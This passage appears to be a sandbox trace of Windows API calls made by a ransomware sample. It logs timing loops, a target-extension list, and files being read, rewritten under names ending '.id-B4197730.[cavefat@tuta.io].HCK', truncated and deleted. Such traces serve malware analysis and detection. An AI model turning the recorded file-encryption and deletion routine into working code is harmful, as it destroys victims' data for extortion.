(dwMilliseconds=0x64) [0177.313] GetTickCount () returned 0x116c4de [0177.313] Sleep (dwMilliseconds=0x64) [0177.442] GetTickCount () returned 0x116c55b [0177.442] Sleep (dwMilliseconds=0x64) [0177.549] GetTickCount () returned 0x116c5c8 [0177.549] GetTickCount () returned 0x116c5c8 [0177.549] Sleep (dwMilliseconds=0x64) [0177.701] GetTickCount () returned 0x116c664 [0177.701] Sleep (dwMilliseconds=0x64) [0177.813] GetTickCount () returned 0x116c6d2 [0177.813] Sleep (dwMilliseconds=0x64) [0177.924] GetTickCount () returned 0x116c73f [0177.924] Sleep (dwMilliseconds=0x64) [0178.031] GetTickCount () returned 0x116c7ad [0178.031] Sleep (dwMilliseconds=0x64) [0178.139] GetTickCount () returned 0x116c81a [0178.139] Sleep (dwMilliseconds=0x64) [0178.248] GetTickCount () returned 0x116c887 [0178.248] Sleep (dwMilliseconds=0x64) [0178.364] GetTickCount () returned 0x116c8f5 [0178.364] Sleep (dwMilliseconds=0x64) [0178.483] GetTickCount () returned 0x116c972 [0178.483] Sleep (dwMilliseconds=0x64) [0178.592] GetTickCount () returned 0x116c9df [0178.592] GetTickCount () returned 0x116c9df [0178.592] Sleep (dwMilliseconds=0x64) [0178.702] GetTickCount () returned 0x116ca4c [0178.702] Sleep (dwMilliseconds=0x64) [0178.812] GetTickCount () returned 0x116caba [0178.812] Sleep (dwMilliseconds=0x64) [0178.920] GetTickCount () returned 0x116cb27 [0178.920] Sleep (dwMilliseconds=0x64) [0179.029] GetTickCount () returned 0x116cb95 [0179.029] Sleep (dwMilliseconds=0x64) [0179.140] GetTickCount () returned 0x116cc02 [0179.140] Sleep (dwMilliseconds=0x64) [0179.248] GetTickCount () returned 0x116cc6f [0179.248] Sleep (dwMilliseconds=0x64) [0179.366] GetTickCount () returned 0x116ccec [0179.366] Sleep (dwMilliseconds=0x64) [0179.467] GetTickCount () returned 0x116cd4a [0179.467] Sleep (dwMilliseconds=0x64) [0179.577] GetTickCount () returned 0x116cdb7 [0179.577] Sleep (dwMilliseconds=0x64) [0179.690] GetTickCount () returned 0x116ce25 [0179.690] GetTickCount () returned 0x116ce25 [0179.690] Sleep (dwMilliseconds=0x64) [0179.797] GetTickCount () returned 0x116ce92 [0179.797] Sleep (dwMilliseconds=0x64) [0179.904] GetTickCount () returned 0x116cf00 [0179.904] Sleep (dwMilliseconds=0x64) [0180.017] GetTickCount () returned 0x116cf7d [0180.017] Sleep (dwMilliseconds=0x64) [0180.124] GetTickCount () returned 0x116cfda [0180.124] Sleep (dwMilliseconds=0x64) [0180.233] GetTickCount () returned 0x116d048 [0180.233] Sleep (dwMilliseconds=0x64) [0180.342] GetTickCount () returned 0x116d0b5 [0180.342] Sleep (dwMilliseconds=0x64) [0180.451] GetTickCount () returned 0x116d122 [0180.451] Sleep (dwMilliseconds=0x64) [0180.561] GetTickCount () returned 0x116d190 [0180.561] Sleep (dwMilliseconds=0x64) [0180.670] GetTickCount () returned 0x116d1fd [0180.670] Sleep (dwMilliseconds=0x64) [0180.779] GetTickCount () returned 0x116d26b [0180.779] GetTickCount () returned 0x116d26b [0180.779] Sleep (dwMilliseconds=0x64) [0180.891] GetTickCount () returned 0x116d2d8 [0180.891] Sleep (dwMilliseconds=0x64) Thread: id = 285 os_tid = 0xec8 [0147.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x717d28 [0147.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x75ffc8 [0147.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708828 [0147.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e8c0 [0147.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7085d0 [0147.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x34d1020 [0147.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708600 [0147.761] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708600, Size=0x20) returned 0x6eec98 [0147.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708840 [0147.761] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708840, Size=0x20) returned 0x6eeb08 [0147.761] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.761] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.761] Wow64DisableWow64FsRedirection (in: OldValue=0x25cff50 | out: OldValue=0x25cff50*=0x0) returned 1 [0147.762] lstrlenW (lpString="kernel32.dll") returned 12 [0147.762] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.762] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.762] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.762] Sleep (dwMilliseconds=0x64) [0148.246] lstrcmpiW (lpString1=".MARKER", lpString2=".HCK") returned 1 [0148.246] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0148.246] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.246] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=0) returned 1 [0148.246] CloseHandle (hObject=0x2fc) returned 1 [0148.246] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.246] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.246] lstrlenW (lpString=".doc") returned 4 [0148.246] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".docx") returned 5 [0148.247] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0148.247] lstrlenW (lpString=".pdf") returned 4 [0148.247] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".xls") returned 4 [0148.247] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".xlsx") returned 5 [0148.247] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0148.247] lstrlenW (lpString=".ppt") returned 4 [0148.247] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.247] lstrlenW (lpString=".zip") returned 4 [0148.247] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".rar") returned 4 [0148.247] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".bz2") returned 4 [0148.247] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".7z") returned 3 [0148.247] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0148.247] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.247] lstrlenW (lpString=".dbf") returned 4 [0148.247] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.247] lstrlenW (lpString=".1cd") returned 4 [0148.247] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.247] lstrlenW (lpString=".jpg") returned 4 [0148.247] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.247] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.247] lstrlenW (lpString=".doc") returned 4 [0148.247] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".docx") returned 5 [0148.247] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0148.247] lstrlenW (lpString=".pdf") returned 4 [0148.247] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".xls") returned 4 [0148.247] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".xlsx") returned 5 [0148.247] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0148.247] lstrlenW (lpString=".ppt") returned 4 [0148.247] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.247] lstrlenW (lpString=".zip") returned 4 [0148.247] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".rar") returned 4 [0148.247] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".bz2") returned 4 [0148.247] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0148.247] lstrlenW (lpString=".7z") returned 3 [0148.247] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0148.248] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.248] lstrlenW (lpString=".dbf") returned 4 [0148.248] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0148.248] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.248] lstrlenW (lpString=".1cd") returned 4 [0148.248] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0148.248] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0148.248] lstrlenW (lpString=".jpg") returned 4 [0148.248] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0148.248] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.248] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.249] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=17240) returned 1 [0148.249] CloseHandle (hObject=0x300) returned 1 [0148.249] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0148.249] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.249] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.249] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.250] GetLastError () returned 0x0 [0148.250] ReadFile (in: hFile=0x300, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4358, lpOverlapped=0x0) returned 1 [0148.266] WriteFile (in: hFile=0x2f8, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4360, lpOverlapped=0x0) returned 1 [0148.267] ReadFile (in: hFile=0x300, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.267] WriteFile (in: hFile=0x2f8, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.267] SetEndOfFile (hFile=0x2f8) returned 1 [0148.267] CloseHandle (hObject=0x2f8) returned 1 [0148.268] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.268] SetEndOfFile (hFile=0x300) returned 1 [0148.269] CloseHandle (hObject=0x300) returned 1 [0148.269] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.269] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString=".doc") returned 4 [0148.270] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString=".docx") returned 5 [0148.270] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.270] lstrlenW (lpString=".pdf") returned 4 [0148.270] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString=".xls") returned 4 [0148.270] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString=".xlsx") returned 5 [0148.270] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.270] lstrlenW (lpString=".ppt") returned 4 [0148.270] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString=".zip") returned 4 [0148.270] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString=".rar") returned 4 [0148.270] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString=".bz2") returned 4 [0148.270] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.270] lstrlenW (lpString=".7z") returned 3 [0148.270] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString=".dbf") returned 4 [0148.270] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString=".1cd") returned 4 [0148.270] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString=".jpg") returned 4 [0148.270] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.270] lstrlenW (lpString=".doc") returned 4 [0148.270] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.270] lstrlenW (lpString=".docx") returned 5 [0148.270] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.270] lstrlenW (lpString=".pdf") returned 4 [0148.271] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.271] lstrlenW (lpString=".xls") returned 4 [0148.271] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.271] lstrlenW (lpString=".xlsx") returned 5 [0148.271] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.271] lstrlenW (lpString=".ppt") returned 4 [0148.271] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.271] lstrlenW (lpString=".zip") returned 4 [0148.271] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.271] lstrlenW (lpString=".rar") returned 4 [0148.271] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.271] lstrlenW (lpString=".bz2") returned 4 [0148.271] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.271] lstrlenW (lpString=".7z") returned 3 [0148.271] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.271] lstrlenW (lpString=".dbf") returned 4 [0148.271] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.271] lstrlenW (lpString=".1cd") returned 4 [0148.271] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0148.271] lstrlenW (lpString=".jpg") returned 4 [0148.271] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.271] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.271] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.271] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.272] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18264) returned 1 [0148.272] CloseHandle (hObject=0x300) returned 1 [0148.272] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0148.272] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.272] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.272] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.272] GetLastError () returned 0x0 [0148.273] ReadFile (in: hFile=0x300, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4758, lpOverlapped=0x0) returned 1 [0148.277] WriteFile (in: hFile=0x2f8, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.278] ReadFile (in: hFile=0x300, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.278] WriteFile (in: hFile=0x2f8, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.278] SetEndOfFile (hFile=0x2f8) returned 1 [0148.278] CloseHandle (hObject=0x2f8) returned 1 [0148.280] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.280] SetEndOfFile (hFile=0x300) returned 1 [0148.281] CloseHandle (hObject=0x300) returned 1 [0148.281] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.281] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0148.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.282] lstrlenW (lpString=".doc") returned 4 [0148.282] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.282] lstrlenW (lpString=".docx") returned 5 [0148.282] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.282] lstrlenW (lpString=".pdf") returned 4 [0148.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.282] lstrlenW (lpString=".xls") returned 4 [0148.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.282] lstrlenW (lpString=".xlsx") returned 5 [0148.282] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.282] lstrlenW (lpString=".ppt") returned 4 [0148.282] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.282] lstrlenW (lpString=".zip") returned 4 [0148.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.282] lstrlenW (lpString=".rar") returned 4 [0148.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.282] lstrlenW (lpString=".bz2") returned 4 [0148.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.282] lstrlenW (lpString=".7z") returned 3 [0148.282] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.282] lstrlenW (lpString=".dbf") returned 4 [0148.282] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.283] lstrlenW (lpString=".1cd") returned 4 [0148.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.283] lstrlenW (lpString=".jpg") returned 4 [0148.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.283] lstrlenW (lpString=".doc") returned 4 [0148.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.283] lstrlenW (lpString=".docx") returned 5 [0148.283] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.283] lstrlenW (lpString=".pdf") returned 4 [0148.283] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.283] lstrlenW (lpString=".xls") returned 4 [0148.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.283] lstrlenW (lpString=".xlsx") returned 5 [0148.283] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.283] lstrlenW (lpString=".ppt") returned 4 [0148.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.283] lstrlenW (lpString=".zip") returned 4 [0148.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.283] lstrlenW (lpString=".rar") returned 4 [0148.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.283] lstrlenW (lpString=".bz2") returned 4 [0148.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.283] lstrlenW (lpString=".7z") returned 3 [0148.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.283] lstrlenW (lpString=".dbf") returned 4 [0148.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.284] lstrlenW (lpString=".1cd") returned 4 [0148.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0148.284] lstrlenW (lpString=".jpg") returned 4 [0148.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.284] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.284] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.284] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.292] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18264) returned 1 [0148.292] CloseHandle (hObject=0x308) returned 1 [0148.292] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0148.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.293] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, 